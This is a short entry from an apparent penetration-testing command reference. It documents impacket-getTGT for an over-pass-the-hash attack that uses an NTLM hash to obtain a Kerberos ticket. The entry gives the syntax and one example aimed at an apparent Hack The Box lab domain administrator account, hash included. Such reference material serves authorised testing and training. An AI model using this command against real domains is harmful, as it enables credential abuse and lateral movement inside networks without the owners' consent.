Command Manager

Impacket Over-Pass-The-Hash

Get TGT ticket using the hash

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
impacket-getTGT
Category
Lateral Movement / Pass-the-Hash / Ticket
Platform
linux
Requires
NTLM hash
Protocols
KERBEROS

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

impacket-getTGT -hashes ':<hash>' <domain>/<user> -dc-ip <ip>

Examples

impacket-getTGT -hashes ':e656e07c56d831611b577b160b259ad2' voleur.htb/administrator -dc-ip 10.10.11.76

Tags

impacket opth tgt hash kerberos